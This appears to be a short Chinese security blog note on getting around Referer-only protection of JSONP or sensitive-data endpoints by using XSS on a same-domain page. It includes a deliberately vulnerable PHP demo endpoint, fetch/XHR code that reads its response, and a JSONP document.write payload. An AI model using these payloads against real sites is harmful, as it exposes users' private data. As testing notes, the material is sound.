限制通域refer获取敏感接口信息的方法
在我们遇到诸如jsonp接口泄露敏感信息时,有部分修复只是简单验证了refer为通域下可访问,如果此时CORS设置不当,则可以通过通域下的其他页面的xss漏洞来获取。
测试过几种获取方式,记录如下:
敏感信息接口代码(js.php):
<?php echo $_SERVER['HTTP_REFERER']."</br>"; $info = parse_url($_SERVER['HTTP_REFERER']); if($info['host'] == '127.0.0.1') echo "data{'phone':1832807777}"; ?>
1、普通敏感信息,fetch/xhr获取
<html> <body onload=''> <body> <script> window.onload=function(){
//xhr = new XMLHttpRequest();
//xhr.open("get","http://127.0.0.1/js.php");
//xhr.send();
//console.log(xhr.responseText); fetch('http://127.0.0.1/js.php', {method: 'GET'}).then((res)=>{ console.log(res.text()); }) } </script>

2、jsonp接口,直接写入
javascript:document.write('<script>function jsonp1(data){alert(JSON.stringify(data));}</script><script src=https://xxxxx?callback=jsonp1></script>
3、其余空refer情况
上面的 fetch、xhr、src引入都含有refer信息,而iframe,window.open()等则在其他允许空 refer 的情况下可利用。
浙公网安备 33010602011771号